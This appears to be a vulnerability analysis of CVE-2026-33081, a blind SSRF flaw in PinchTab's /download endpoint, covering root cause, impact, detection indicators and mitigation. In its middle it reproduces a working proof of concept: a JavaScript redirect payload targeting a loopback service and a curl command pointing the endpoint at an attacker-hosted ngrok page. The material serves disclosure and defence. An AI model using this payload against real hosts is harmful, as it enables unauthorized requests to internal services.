CVE-2026-33081: 
vulnerability analysis and mitigation

CVE-2026-33081 is a Blind Server-Side Request Forgery (SSRF) vulnerability in PinchTab, a standalone HTTP server that provides AI agents direct control over a Chrome browser. The flaw exists in the /download endpoint and affects PinchTab versions 0.8.2 and below (Go module github.com/pinchtab/pinchtab). It was published on March 17, 2026, by researcher Yesuhei, with NVD publication on March 20, 2026. The GitHub Advisory Database assigns a CVSS v3.1 score of 5.8 (Moderate), while the NVD records a score of 3.7 (Low) (GitHub Advisory, PinchTab Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the validateDownloadURL() function validates only the initial user-supplied URL passed to the /download endpoint, but does not apply the same validation to subsequent browser-issued requests. After the initial check passes, the embedded headless Chromium browser loads the attacker-controlled page, which can execute JavaScript redirects (e.g., window.location = "http://127.0.0.1:1337/increment") or trigger resource requests targeting internal network addresses — effectively bypassing the URL allowlist. Exploitation requires the non-default configuration security.allowDownload=true to be enabled, which limits the attack surface. A complete proof-of-concept with reproduction steps is publicly documented in the security advisory (GitHub Advisory, PinchTab Advisory).

Successful exploitation allows an unauthenticated remote attacker to cause the PinchTab host's embedded Chromium browser to issue HTTP requests to internal network services — including loopback addresses (e.g., 127.0.0.1), private network ranges, and cloud metadata endpoints — that are otherwise inaccessible from the internet. Because this is a blind SSRF, response bodies are not returned to the attacker; however, state-changing endpoints on internal services can still be triggered (e.g., incrementing counters, invoking APIs). In environments where sensitive internal services or cloud instance metadata endpoints (such as AWS IMDSv1) are reachable from the PinchTab host, the impact could escalate significantly beyond the baseline integrity-only classification (GitHub Advisory).

A detailed proof-of-concept is publicly available in the GitHub security advisory, including a malicious HTML/JavaScript payload, a specific curl command to trigger the /download endpoint, and a step-by-step sequence demonstrating how the browser-side redirect bypasses validation (PinchTab Advisory). There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.028% (6th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is gated behind the non-default security.allowDownload=true configuration, which substantially limits real-world exposure (Feedly).

1. Prerequisite check: Confirm the target PinchTab instance (port 9867 by default) has security.allowDownload=true enabled in its configuration — this is disabled by default.
2. Set up internal service (for verification): On the PinchTab host, identify or simulate an internal service bound to localhost (e.g., a service listening on 127.0.0.1:1337) that is not externally accessible.
3. Host a malicious redirect page: Deploy an attacker-controlled HTML page on a publicly accessible server (e.g., via ngrok). The page includes a JavaScript redirect with a short delay:

<script>
setTimeout(function(){
  window.location = "http://127.0.0.1:1337/increment";
}, 1500);
</script>

4. Trigger the vulnerable endpoint: Send a crafted HTTP GET request to the PinchTab /download endpoint with the attacker-controlled page URL:

curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"

If a server token is configured, include valid authentication headers. 5. Browser-side redirect executes: PinchTab launches a headless Chromium instance, loads the attacker's page, and the JavaScript executes — redirecting the browser to http://127.0.0.1:1337/increment. This request originates from the PinchTab host, bypassing the initial URL validation. 6. Verify impact: Observe the internal service logs to confirm the request was received from localhost, demonstrating successful blind SSRF exploitation (PinchTab Advisory).

• Network: Outbound HTTP requests from the PinchTab host to internal/loopback addresses (e.g., 127.0.0.1, 10.x.x.x, 192.168.x.x, 169.254.169.254) originating from the Chromium process; inbound requests to port 9867 (/download endpoint) from external IPs with external URLs as the url parameter.
• Logs: PinchTab access logs showing GET requests to /download?url=<external-url> where the external URL is an attacker-controlled domain (e.g., ngrok subdomain); internal service logs showing unexpected requests from 127.0.0.1 or the PinchTab host IP.
• Process: Headless Chromium child processes spawned by PinchTab making network connections to internal addresses; unusual DNS lookups or TCP connections to RFC-1918 or loopback ranges from the Chromium process.
• Configuration: Presence of security.allowDownload=true in the PinchTab configuration file, indicating the vulnerable feature is enabled (PinchTab Advisory).

Upgrade PinchTab to version 0.8.3 or later, which includes "Download SSRF hardening" with expanded URL validation applied to all browser-issued requests within the /download flow, not just the initial user-supplied URL (PinchTab Release). If immediate patching is not possible, ensure security.allowDownload remains set to false (the default), which prevents exploitation entirely. Additionally, apply network-level controls to restrict the PinchTab host's access to internal services and cloud metadata endpoints (e.g., block 169.254.169.254 at the firewall or via host-based rules) (GitHub Advisory).

The vulnerability was reported by researcher Yesuhei and published by maintainer luigi-agosti on March 17, 2026. A brief mention appeared on Bluesky via the CVE tracking account shortly after disclosure. The SUSE/openSUSE security mailing list referenced the issue in the context of govulncheck vulnerability database updates. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (PinchTab Advisory).